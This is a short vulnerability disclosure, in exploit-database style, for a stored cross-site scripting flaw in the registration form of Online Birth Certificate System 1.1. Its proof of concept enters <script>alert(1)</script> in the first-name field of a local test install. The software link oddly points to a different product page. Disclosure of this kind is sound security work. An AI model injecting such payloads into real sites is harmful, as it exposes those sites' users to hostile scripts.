Online Birth Certificate System 1.1 - 'Multiple' Stored Cross-Site Scripting (XSS)

# Exploit Title: Online Birth Certificate System 1.1 - 'Multiple' Stored Cross-Site Scripting (XSS) 
# Date: 03 July 2021
# Exploit Author: Subhadip Nag
# Author Linkedin: www.linkedin.com/in/subhadip-nag-09/
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/client-management-system-using-php-mysql/
# Version: 1.1
# Tested on: Server: XAMPP

# Description #

Online Birth Certificate System 1.1 is vulnerable to stored cross site scripting (xss) in the registration form because of insufficient user supplied data.


# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/OBCS/obcs/user/register.php
2) In the first name field, enter the payload: <script>alert(1)</script>
3) Click Register
4) Goto: http://localhost/OBCS/obcs/user/login.php
5) Enter your mobile number, password & click login
6) our XSS attack successfull

# PoC image
1) https://ibb.co/7C6g6nK